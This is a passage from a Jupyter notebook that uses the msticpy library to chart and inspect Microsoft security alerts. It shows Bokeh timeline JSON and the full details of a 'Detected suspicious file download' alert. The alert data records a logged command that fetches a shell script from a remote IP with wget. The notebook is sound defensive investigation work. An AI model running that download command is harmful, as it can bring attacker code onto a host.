%T.%3N}\"],[\"AlertName\",\"@AlertName\"]]},\"id\":\"1007\",\"type\":\"HoverTool\"},{\"attributes\":{},\"id\":\"1129\",\"type\":\"UnionRenderers\"},{\"attributes\":{},\"id\":\"1130\",\"type\":\"Selection\"},{\"attributes\":{\"coordinates\":null,\"data_source\":{\"id\":\"1005\"},\"glyph\":{\"id\":\"1072\"},\"group\":null,\"hover_glyph\":null,\"muted_glyph\":{\"id\":\"1074\"},\"nonselection_glyph\":{\"id\":\"1073\"},\"view\":{\"id\":\"1076\"}},\"id\":\"1075\",\"type\":\"GlyphRenderer\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.1},\"fill_color\":{\"value\":\"#440154\"},\"hatch_alpha\":{\"value\":0.1},\"hatch_color\":{\"value\":\"#440154\"},\"line_alpha\":{\"value\":0.1},\"line_color\":{\"value\":\"#440154\"},\"marker\":{\"value\":\"diamond\"},\"size\":{\"value\":10},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"1092\",\"type\":\"Scatter\"},{\"attributes\":{\"label\":{\"value\":\"Informational\"},\"renderers\":[{\"id\":\"1101\"}]},\"id\":\"1103\",\"type\":\"LegendItem\"},{\"attributes\":{\"active_multi\":{\"id\":\"1083\"},\"tools\":[{\"id\":\"1083\"}]},\"id\":\"1055\",\"type\":\"Toolbar\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.1},\"fill_color\":{\"value\":\"#35B778\"},\"hatch_alpha\":{\"value\":0.1},\"hatch_color\":{\"value\":\"#35B778\"},\"line_alpha\":{\"value\":0.1},\"line_color\":{\"value\":\"#35B778\"},\"marker\":{\"value\":\"diamond\"},\"size\":{\"value\":10},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"1106\",\"type\":\"Scatter\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.1},\"fill_color\":{\"value\":\"#30678D\"},\"hatch_alpha\":{\"value\":0.1},\"hatch_color\":{\"value\":\"#30678D\"},\"line_alpha\":{\"value\":0.1},\"line_color\":{\"value\":\"#30678D\"},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"1067\",\"type\":\"Circle\"},{\"attributes\":{\"dimensions\":\"width\"},\"id\":\"1027\",\"type\":\"WheelZoomTool\"},{\"attributes\":{},\"id\":\"1030\",\"type\":\"SaveTool\"},{\"attributes\":{\"bottom_units\":\"screen\",\"coordinates\":null,\"fill_alpha\":0.5,\"fill_color\":\"lightgrey\",\"group\":null,\"left_units\":\"screen\",\"level\":\"overlay\",\"line_alpha\":1.0,\"line_color\":\"black\",\"line_dash\":[4,4],\"line_width\":2,\"right_units\":\"screen\",\"syncable\":false,\"top_units\":\"screen\"},\"id\":\"1032\",\"type\":\"BoxAnnotation\"},{\"attributes\":{\"mantissas\":[1,2,5],\"max_interval\":500.0,\"num_minor_ticks\":0},\"id\":\"1138\",\"type\":\"AdaptiveTicker\"},{\"attributes\":{\"base\":60,\"mantissas\":[1,2,5,10,15,20,30],\"max_interval\":1800000.0,\"min_interval\":1000.0,\"num_minor_ticks\":0},\"id\":\"1139\",\"type\":\"AdaptiveTicker\"},{\"attributes\":{},\"id\":\"1149\",\"type\":\"YearsTicker\"},{\"attributes\":{\"coordinates\":null,\"group\":null,\"text\":\"Range Selector\"},\"id\":\"1041\",\"type\":\"Title\"},{\"attributes\":{\"base\":24,\"mantissas\":[1,2,4,6,8,12],\"max_interval\":43200000.0,\"min_interval\":3600000.0,\"num_minor_ticks\":0},\"id\":\"1140\",\"type\":\"AdaptiveTicker\"},{\"attributes\":{\"mantissas\":[1,2,5],\"max_interval\":500.0,\"num_minor_ticks\":0},\"id\":\"1151\",\"type\":\"AdaptiveTicker\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.1},\"fill_color\":{\"value\":\"#440154\"},\"hatch_alpha\":{\"value\":0.1},\"hatch_color\":{\"value\":\"#440154\"},\"line_alpha\":{\"value\":0.1},\"line_color\":{\"value\":\"#440154\"},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"1061\",\"type\":\"Circle\"},{\"attributes\":{\"months\":[0,1,2,3,4,5,6,7,8,9,10,11]},\"id\":\"1145\",\"type\":\"MonthsTicker\"},{\"attributes\":{\"base\":60,\"mantissas\":[1,2,5,10,15,20,30],\"max_interval\":1800000.0,\"min_interval\":1000.0,\"num_minor_ticks\":0},\"id\":\"1152\",\"type\":\"AdaptiveTicker\"},{\"attributes\":{\"num_minor_ticks\":5,\"tickers\":[{\"id\":\"1151\"},{\"id\":\"1152\"},{\"id\":\"1153\"},{\"id\":\"1154\"},{\"id\":\"1155\"},{\"id\":\"1156\"},{\"id\":\"1157\"},{\"id\":\"1158\"},{\"id\":\"1159\"},{\"id\":\"1160\"},{\"id\":\"1161\"},{\"id\":\"1162\"}]},\"id\":\"1052\",\"type\":\"DatetimeTicker\"},{\"attributes\":{\"days\":[1,15]},\"id\":\"1144\",\"type\":\"DaysTicker\"},{\"attributes\":{\"coordinates\":null,\"data_source\":{\"id\":\"1006\"},\"glyph\":{\"id\":\"1112\"},\"group\":null,\"hover_glyph\":null,\"muted_glyph\":{\"id\":\"1114\"},\"nonselection_glyph\":{\"id\":\"1113\"},\"view\":{\"id\":\"1116\"}},\"id\":\"1115\",\"type\":\"GlyphRenderer\"},{\"attributes\":{\"days\":[1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31]},\"id\":\"1141\",\"type\":\"DaysTicker\"},{\"attributes\":{\"base\":24,\"mantissas\":[1,2,4,6,8,12],\"max_interval\":43200000.0,\"min_interval\":3600000.0,\"num_minor_ticks\":0},\"id\":\"1153\",\"type\":\"AdaptiveTicker\"},{\"attributes\":{\"coordinates\":null,\"data_source\":{\"id\":\"1003\"},\"glyph\":{\"id\":\"1091\"},\"group\":null,\"hover_glyph\":null,\"muted_glyph\":{\"id\":\"1093\"},\"nonselection_glyph\":{\"id\":\"1092\"},\"view\":{\"id\":\"1095\"}},\"id\":\"1094\",\"type\":\"GlyphRenderer\"},{\"attributes\":{\"days\":[1,4,7,10,13,16,19,22,25,28]},\"id\":\"1142\",\"type\":\"DaysTicker\"},{\"attributes\":{\"click_policy\":\"hide\",\"coordinates\":null,\"group\":null,\"items\":[{\"id\":\"1117\"},{\"id\":\"1110\"},{\"id\":\"1103\"},{\"id\":\"1096\"}],\"label_text_font_size\":\"8pt\",\"location\":\"center\"},\"id\":\"1118\",\"type\":\"Legend\"},{\"attributes\":{\"days\":[1,8,15,22]},\"id\":\"1143\",\"type\":\"DaysTicker\"},{\"attributes\":{},\"id\":\"1162\",\"type\":\"YearsTicker\"},{\"attributes\":{\"months\":[0,6]},\"id\":\"1148\",\"type\":\"MonthsTicker\"},{\"attributes\":{\"months\":[0,1,2,3,4,5,6,7,8,9,10,11]},\"id\":\"1158\",\"type\":\"MonthsTicker\"},{\"attributes\":{\"months\":[0,2,4,6,8,10]},\"id\":\"1146\",\"type\":\"MonthsTicker\"},{\"attributes\":{\"days\":[1,15]},\"id\":\"1157\",\"type\":\"DaysTicker\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.2},\"fill_color\":{\"value\":\"#FDE724\"},\"hatch_alpha\":{\"value\":0.2},\"hatch_color\":{\"value\":\"#FDE724\"},\"line_alpha\":{\"value\":0.2},\"line_color\":{\"value\":\"#FDE724\"},\"marker\":{\"value\":\"diamond\"},\"size\":{\"value\":10},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"1114\",\"type\":\"Scatter\"},{\"attributes\":{\"days\":[1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31]},\"id\":\"1154\",\"type\":\"DaysTicker\"},{\"attributes\":{\"days\":[1,4,7,10,13,16,19,22,25,28]},\"id\":\"1155\",\"type\":\"DaysTicker\"},{\"attributes\":{},\"id\":\"1047\",\"type\":\"LinearScale\"},{\"attributes\":{\"label\":{\"value\":\"Medium\"},\"renderers\":[{\"id\":\"1115\"}]},\"id\":\"1117\",\"type\":\"LegendItem\"},{\"attributes\":{\"months\":[0,4,8]},\"id\":\"1147\",\"type\":\"MonthsTicker\"},{\"attributes\":{},\"id\":\"1029\",\"type\":\"ResetTool\"},{\"attributes\":{\"days\":[1,8,15,22]},\"id\":\"1156\",\"type\":\"DaysTicker\"},{\"attributes\":{\"months\":[0,6]},\"id\":\"1161\",\"type\":\"MonthsTicker\"},{\"attributes\":{\"months\":[0,2,4,6,8,10]},\"id\":\"1159\",\"type\":\"MonthsTicker\"},{\"attributes\":{},\"id\":\"1049\",\"type\":\"LinearScale\"},{\"attributes\":{\"months\":[0,4,8]},\"id\":\"1160\",\"type\":\"MonthsTicker\"},{\"attributes\":{\"fill_color\":{\"value\":\"#30678D\"},\"hatch_color\":{\"value\":\"#30678D\"},\"line_color\":{\"value\":\"#30678D\"},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"1066\",\"type\":\"Circle\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.5},\"fill_color\":{\"value\":\"#440154\"},\"hatch_alpha\":{\"value\":0.5},\"hatch_color\":{\"value\":\"#440154\"},\"line_alpha\":{\"value\":0.5},\"line_color\":{\"value\":\"#440154\"},\"marker\":{\"value\":\"diamond\"},\"size\":{\"value\":10},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"1091\",\"type\":\"Scatter\"},{\"attributes\":{\"tools\":[{\"id\":\"1007\"},{\"id\":\"1027\"},{\"id\":\"1028\"},{\"id\":\"1029\"},{\"id\":\"1030\"},{\"id\":\"1031\"}]},\"id\":\"1033\",\"type\":\"Toolbar\"},{\"attributes\":{\"align\":\"right\",\"coordinates\":null,\"group\":null,\"text\":\"Drag the middle or edges of the selection box to change the range in the main chart\",\"text_font_size\":\"10px\"},\"id\":\"1056\",\"type\":\"Title\"},{\"attributes\":{\"source\":{\"id\":\"1003\"}},\"id\":\"1064\",\"type\":\"CDSView\"},{\"attributes\":{\"days\":[\"%m-%d %H:%M\"],\"hours\":[\"%H:%M:%S\"],\"milliseconds\":[\"%H:%M:%S.%3N\"],\"minutes\":[\"%H:%M:%S\"],\"seconds\":[\"%H:%M:%S\"]},\"id\":\"1057\",\"type\":\"DatetimeTickFormatter\"},{\"attributes\":{\"coordinates\":null,\"group\":null,\"text\":\"Event Timeline\"},\"id\":\"1009\",\"type\":\"Title\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.2},\"fill_color\":{\"value\":\"#440154\"},\"hatch_alpha\":{\"value\":0.2},\"hatch_color\":{\"value\":\"#440154\"},\"line_alpha\":{\"value\":0.2},\"line_color\":{\"value\":\"#440154\"},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"1062\",\"type\":\"Circle\"},{\"attributes\":{\"fill_color\":{\"value\":\"#440154\"},\"hatch_color\":{\"value\":\"#440154\"},\"line_color\":{\"value\":\"#440154\"},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"1060\",\"type\":\"Circle\"},{\"attributes\":{},\"id\":\"1017\",\"type\":\"LinearScale\"},{\"attributes\":{\"below\":[{\"id\":\"1051\"},{\"id\":\"1056\"}],\"center\":[{\"id\":\"1054\"}],\"height\":120,\"renderers\":[{\"id\":\"1063\"},{\"id\":\"1069\"},{\"id\":\"1075\"},{\"id\":\"1081\"}],\"title\":{\"id\":\"1041\"},\"toolbar\":{\"id\":\"1055\"},\"toolbar_location\":null,\"width\":900,\"x_range\":{\"id\":\"1043\"},\"x_scale\":{\"id\":\"1047\"},\"y_range\":{\"id\":\"1045\"},\"y_scale\":{\"id\":\"1049\"}},\"id\":\"1040\",\"subtype\":\"Figure\",\"type\":\"Plot\"},{\"attributes\":{},\"id\":\"1045\",\"type\":\"DataRange1d\"},{\"attributes\":{\"coordinates\":null,\"data_source\":{\"id\":\"1003\"},\"glyph\":{\"id\":\"1060\"},\"group\":null,\"hover_glyph\":null,\"muted_glyph\":{\"id\":\"1062\"},\"nonselection_glyph\":{\"id\":\"1061\"},\"view\":{\"id\":\"1064\"}},\"id\":\"1063\",\"type\":\"GlyphRenderer\"},{\"attributes\":{\"overlay\":{\"id\":\"1032\"}},\"id\":\"1028\",\"type\":\"BoxZoomTool\"},{\"attributes\":{\"below\":[{\"id\":\"1019\"}],\"center\":[{\"id\":\"1022\"},{\"id\":\"1026\"}],\"height\":200,\"left\":[{\"id\":\"1023\"},{\"id\":\"1118\"}],\"min_border_left\":50,\"renderers\":[{\"id\":\"1094\"},{\"id\":\"1101\"},{\"id\":\"1108\"},{\"id\":\"1115\"}],\"title\":{\"id\":\"1009\"},\"toolbar\":{\"id\":\"1033\"},\"width\":900,\"x_range\":{\"id\":\"1011\"},\"x_scale\":{\"id\":\"1015\"},\"y_range\":{\"id\":\"1013\"},\"y_scale\":{\"id\":\"1017\"}},\"id\":\"1008\",\"subtype\":\"Figure\",\"type\":\"Plot\"},{\"attributes\":{\"source\":{\"id\":\"1006\"}},\"id\":\"1116\",\"type\":\"CDSView\"},{\"attributes\":{\"coordinates\":null,\"formatter\":{\"id\":\"1057\"},\"group\":null,\"major_label_policy\":{\"id\":\"1128\"},\"ticker\":{\"id\":\"1052\"}},\"id\":\"1051\",\"type\":\"DatetimeAxis\"},{\"attributes\":{\"end\":1625056541649.117,\"start\":1624592486049.117},\"id\":\"1011\",\"type\":\"Range1d\"},{\"attributes\":{\"axis\":{\"id\":\"1023\"},\"coordinates\":null,\"dimension\":1,\"grid_line_color\":null,\"group\":null,\"ticker\":null},\"id\":\"1026\",\"type\":\"Grid\"},{\"attributes\":{\"dimensions\":\"width\"},\"id\":\"1031\",\"type\":\"PanTool\"},{\"attributes\":{\"coordinates\":null,\"formatter\":{\"id\":\"1123\"},\"group\":null,\"major_label_policy\":{\"id\":\"1124\"},\"ticker\":{\"id\":\"1024\"},\"visible\":false},\"id\":\"1023\",\"type\":\"LinearAxis\"},{\"attributes\":{\"end\":3.25,\"start\":-0.25},\"id\":\"1013\",\"type\":\"Range1d\"},{\"attributes\":{\"end\":1625075877299.117,\"start\":1624573150399.117},\"id\":\"1043\",\"type\":\"Range1d\"},{\"attributes\":{\"source\":{\"id\":\"1005\"}},\"id\":\"1109\",\"type\":\"CDSView\"},{\"attributes\":{\"num_minor_ticks\":10,\"tickers\":[{\"id\":\"1138\"},{\"id\":\"1139\"},{\"id\":\"1140\"},{\"id\":\"1141\"},{\"id\":\"1142\"},{\"id\":\"1143\"},{\"id\":\"1144\"},{\"id\":\"1145\"},{\"id\":\"1146\"},{\"id\":\"1147\"},{\"id\":\"1148\"},{\"id\":\"1149\"}]},\"id\":\"1020\",\"type\":\"DatetimeTicker\"},{\"attributes\":{\"axis_label\":\"Event Time\",\"coordinates\":null,\"formatter\":{\"id\":\"1088\"},\"group\":null,\"major_label_policy\":{\"id\":\"1126\"},\"ticker\":{\"id\":\"1020\"}},\"id\":\"1019\",\"type\":\"DatetimeAxis\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.5},\"fill_color\":{\"value\":\"#FDE724\"},\"hatch_alpha\":{\"value\":0.5},\"hatch_color\":{\"value\":\"#FDE724\"},\"line_alpha\":{\"value\":0.5},\"line_color\":{\"value\":\"#FDE724\"},\"marker\":{\"value\":\"diamond\"},\"size\":{\"value\":10},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"1112\",\"type\":\"Scatter\"},{\"attributes\":{\"axis\":{\"id\":\"1051\"},\"coordinates\":null,\"group\":null,\"ticker\":null},\"id\":\"1054\",\"type\":\"Grid\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.2},\"fill_color\":{\"value\":\"#35B778\"},\"hatch_alpha\":{\"value\":0.2},\"hatch_color\":{\"value\":\"#35B778\"},\"line_alpha\":{\"value\":0.2},\"line_color\":{\"value\":\"#35B778\"},\"marker\":{\"value\":\"diamond\"},\"size\":{\"value\":10},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"1107\",\"type\":\"Scatter\"},{\"attributes\":{\"coordinates\":null,\"data_source\":{\"id\":\"1005\"},\"glyph\":{\"id\":\"1105\"},\"group\":null,\"hover_glyph\":null,\"muted_glyph\":{\"id\":\"1107\"},\"nonselection_glyph\":{\"id\":\"1106\"},\"view\":{\"id\":\"1109\"}},\"id\":\"1108\",\"type\":\"GlyphRenderer\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.1},\"fill_color\":{\"value\":\"#FDE724\"},\"hatch_alpha\":{\"value\":0.1},\"hatch_color\":{\"value\":\"#FDE724\"},\"line_alpha\":{\"value\":0.1},\"line_color\":{\"value\":\"#FDE724\"},\"marker\":{\"value\":\"diamond\"},\"size\":{\"value\":10},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"1113\",\"type\":\"Scatter\"},{\"attributes\":{},\"id\":\"1024\",\"type\":\"BasicTicker\"},{\"attributes\":{\"label\":{\"value\":\"Low\"},\"renderers\":[{\"id\":\"1108\"}]},\"id\":\"1110\",\"type\":\"LegendItem\"},{\"attributes\":{},\"id\":\"1015\",\"type\":\"LinearScale\"},{\"attributes\":{\"axis\":{\"id\":\"1019\"},\"coordinates\":null,\"group\":null,\"minor_grid_line_alpha\":0.3,\"minor_grid_line_color\":\"navy\",\"ticker\":null},\"id\":\"1022\",\"type\":\"Grid\"}],\"root_ids\":[\"1119\"]},\"title\":\"Bokeh Application\",\"version\":\"2.4.2\"}};\n  const render_items = [{\"docid\":\"f14636ef-ac48-4b44-aa33-7ae2bf8f6930\",\"root_ids\":[\"1119\"],\"roots\":{\"1119\":\"9a835696-149c-4af5-9372-f65eae09a38e\"}}];\n  root.Bokeh.embed.embed_items_notebook(docs_json, render_items);\n\n  }\n  if (root.Bokeh !== undefined) {\n    embed_document(root);\n  } else {\n    let attempts = 0;\n    const timer = setInterval(function(root) {\n      if (root.Bokeh !== undefined) {\n        clearInterval(timer);\n        embed_document(root);\n      } else {\n        attempts++;\n        if (attempts > 100) {\n          clearInterval(timer);\n          console.log(\"Bokeh: ERROR: Unable to run BokehJS code because BokehJS library is missing\");\n        }\n      }\n    }, 10, root)\n  }\n})(window);",
      "application/vnd.bokehjs_exec.v0+json": ""
     },
     "metadata": {
      "application/vnd.bokehjs_exec.v0+json": {
       "id": "1119"
      }
     },
     "output_type": "display_data"
    },
    {
     "data": {
      "application/vnd.jupyter.widget-view+json": {
       "model_id": "0d055e7cd64847a79f0f0a8d3c501f35",
       "version_major": 2,
       "version_minor": 0
      },
      "text/plain": [
       "VBox(children=(Text(value='', description='Filter alerts by title:', style=DescriptionStyle(description_width=…"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "text/html": [
       "<hr>"
      ],
      "text/plain": [
       "<IPython.core.display.HTML object>"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "text/html": [
       "\n",
       "            <h3>Alert: 'Detected suspicious file download'</h3>\n",
       "            <b>Alert_time:</b> 2021-06-26 12:43:03.069368,\n",
       "            <b>Compr_entity:</b> MSTICALERTSLXVM2,\n",
       "            <b>Alert_id:</b> self.properties['SystemAlertId']\n",
       "            <table border=\"1\" class=\"dataframe\">\n",
       "  <thead>\n",
       "    <tr style=\"text-align: right;\">\n",
       "      <th></th>\n",
       "      <th>21</th>\n",
       "    </tr>\n",
       "  </thead>\n",
       "  <tbody>\n",
       "    <tr>\n",
       "      <th>TenantId</th>\n",
       "      <td>52b1ab41-869e-4138-9e40-2a4457f09bf0</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>TimeGenerated</th>\n",
       "      <td>2021-06-26 12:57:53.349117</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>AlertDisplayName</th>\n",
       "      <td>Detected suspicious file download</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>AlertName</th>\n",
       "      <td>Detected suspicious file download</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>Severity</th>\n",
       "      <td>Low</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>Description</th>\n",
       "      <td>Analysis of host data has detected suspicious download of remote file on MSTICALERTSLXVM2.</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>ProviderName</th>\n",
       "      <td>Detection</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>VendorName</th>\n",
       "      <td>Microsoft</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>VendorOriginalId</th>\n",
       "      <td>caab1270-55d3-4447-8618-16cf8672e4e1</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>SystemAlertId</th>\n",
       "      <td>2518520981440769999_caab1270-55d3-4447-8618-16cf8672e4e1</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>ResourceId</th>\n",
       "      <td>/subscriptions/40dcc8bf-0478-4f3b-b275-ed0a94f2c013/resourceGroups/ASIHuntOMSWorkspaceRG/providers/Microsoft.Compute/virtualMachines/MSTICAlertsLxVM2</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>SourceComputerId</th>\n",
       "      <td>44623fb0-bd5f-49ea-84d1-56aa11ab8a25</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>AlertType</th>\n",
       "      <td>SCUBA_RULE_Suspicious_file_download</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>ConfidenceLevel</th>\n",
       "      <td>Unknown</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>ConfidenceScore</th>\n",
       "      <td>NaN</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>IsIncident</th>\n",
       "      <td>False</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>StartTimeUtc</th>\n",
       "      <td>2021-06-26 12:43:03.069368</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>EndTimeUtc</th>\n",
       "      <td>2021-06-26 12:38:03.069916</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>ProcessingEndTime</th>\n",
       "      <td>2021-06-26 12:38:12.070434</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>RemediationSteps</th>\n",
       "      <td>[\\r\\n  \"Review with dbadmin that the command identified in the alert was legitimate activity that you expect to see on MSTICALERTSLXVM2. If not, escalate the alert to the information security team.\"\\r\\n]</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>ExtendedProperties</th>\n",
       "      <td>{'Compromised Host': 'MSTICALERTSLXVM2', 'User Name': 'dbadmin', 'Account Session Id': '0x2e083', 'Suspicious Process': '/usr/bin/wget', 'Suspicious Command Line': 'wget http://131.107.147.81/QuZYpObins.sh -t 3 -T 5', 'Suspicious Process Id': '0x4cd2', 'resourceType': 'Virtual Machine', 'ServiceId': '14fa08c7-c48e-4c18-950c-8148024b4398', 'ReportingSystem': 'Azure', 'OccuringDatacenter': 'eastus'}</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>Entities</th>\n",
       "      <td>[{'$id': '4', 'DnsDomain': '', 'NTDomain': '', 'HostName': 'MSTICALERTSLXVM2', 'NetBiosName': 'MSTICALERTSLXVM2', 'OSFamily': 'Linux', 'OSVersion': 'Linux', 'Type': 'host'}, {'$id': '5', 'ProcessId': '0x4ccc', 'CommandLine': '', 'Host': {'$ref': '4'}, 'Type': 'process'}, {'$id': '6', 'Name': 'dbadmin', 'Host': {'$ref': '4'}, 'Sid': '1001:1001', 'Type': 'account', 'LogonId': '0x2e083'}, {'$id': '7', 'Directory': '/usr/bin', 'Name': 'wget', 'Type': 'file'}, {'$id': '8', 'ProcessId': '0x4cd2', 'CommandLine': 'wget http://131.107.147.81/QuZYpObins.sh -t 3 -T 5', 'CreationTimeUtc': '2019-02-15T03:50:55.923Z', 'ImageFile': {'$ref': '7'}, 'Account': {'$ref': '6'}, 'ParentProcess': {'$ref': '5'}, 'Host': {'$ref': '4'}, 'Type': 'process'}, {'$id': '9', 'SessionId': '0x2e083', 'StartTimeUtc': '2019-02-15T03:50:55.923Z', 'EndTimeUtc': '2019-02-15T03:50:55.923Z', 'Type': 'host-logon-session', 'Host': {'$ref': '4'}, 'Account': {'$ref': '6'}}]</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>SourceSystem</th>\n",
       "      <td>Detection</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>WorkspaceSubscriptionId</th>\n",
       "      <td>40dcc8bf-0478-4f3b-b275-ed0a94f2c013</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>WorkspaceResourceGroup</th>\n",
       "      <td>asihuntomsworkspacerg</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>ExtendedLinks</th>\n",
       "      <td>NaN</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>ProductName</th>\n",
       "      <td>NaN</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>ProductComponentName</th>\n",
       "      <td>NaN</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>AlertLink</th>\n",
       "      <td>NaN</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>Type</th>\n",
       "      <td>SecurityAlert</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>CompromisedEntity</th>\n",
       "      <td>MSTICALERTSLXVM2</td>\n",
       "    </tr>\n",
       "  </tbody>\n",
       "</table><br/><h3>ExtendedProperties:</h3><table border=\"1\" class=\"dataframe\">\n",
       "  <thead>\n",
       "    <tr style=\"text-align: right;\">\n",
       "      <th></th>\n",
       "      <th>0</th>\n",
       "    </tr>\n",
       "  </thead>\n",
       "  <tbody>\n",
       "    <tr>\n",
       "      <th>Compromised Host</th>\n",
       "      <td>MSTICALERTSLXVM2</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>User Name</th>\n",
       "      <td>dbadmin</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>Account Session Id</th>\n",
       "      <td>0x2e083</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>Suspicious Process</th>\n",
       "      <td>/usr/bin/wget</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>Suspicious Command Line</th>\n",
       "      <td>wget http://131.107.147.81/QuZYpObins.sh -t 3 -T 5</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>Suspicious Process Id</th>\n",
       "      <td>0x4cd2</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>resourceType</th>\n",
       "      <td>Virtual Machine</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>ServiceId</th>\n",
       "      <td>14fa08c7-c48e-4c18-950c-8148024b4398</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>ReportingSystem</th>\n",
       "      <td>Azure</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>OccuringDatacenter</th>\n",
       "      <td>eastus</td>\n",
       "    </tr>\n",
       "  </tbody>\n",
       "</table><h3>Entity counts: </h3>host: 1, process: 2, account: 1, file: 1, host-logon-session: 1"
      ],
      "text/plain": [
       "<IPython.core.display.HTML object>"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    }
   ],
   "source": [
    "from msticpy.nbtools.timeline import display_timeline\n",
    "def show_full_alert(input_alert):\n",
    "    global selected_alert\n",
    "    selected_alert = SecurityAlert(input_alert)\n",
    "    return nbdisplay.format_alert(selected_alert, show_entities=False)\n",
    "    \n",
    "alert_list = qry_prov.SecurityAlert.list_alerts(search_q_times)\n",
    "utils.md(\"Alerts\", \"large, bold\")\n",
    "utils.md(f\"From {search_q_times.start} to {search_q_times.end} - choose an alert to display\", \"bold\")\n",
    "display_timeline(data=alert_list, source_columns=[\"AlertName\",\"CompromisedEntity\"], group_by=\"Severity\", height=200)\n",
    "alert_select = nbwidgets.SelectAlert(alerts=alert_list, action=show_full_alert, auto_display=True)\n",
    "\n",
    "# select an alert\n",
    "alert_select._w_select_alert.index = 5"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 11,
   "metadata": {
    "ExecuteTime": {
     "end_time": "2020-08-25T19:40:32.034565Z",
     "start_time": "2020-08-25T19:40:31.742565Z"
    },
    "slideshow": {
     "slide_type": "-"
    }
   },
   "outputs": [
    {
     "data": {
      "text/html": [
       "<p style='font-size: 130%;font-weight: bold'>Visualize Entities</p>"
      ],
      "text/plain": [
       "<IPython.core.display.HTML object>"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "text/html": [
       "<p style=''>The red circle is the alert object. Green circles are the related entities.</p>"
      ],
      "text/plain": [
       "<IPython.core.display.HTML object>"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "text/html": [
       "\n",
       "    <div class=\"bk-root\">\n",
       "        <a href=\"https://bokeh.org\" target=\"_blank\" class=\"bk-logo bk-logo-small bk-logo-notebook\"></a>\n",
       "        <span id=\"2181\">Loading BokehJS ...</span>\n",
       "    </div>"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
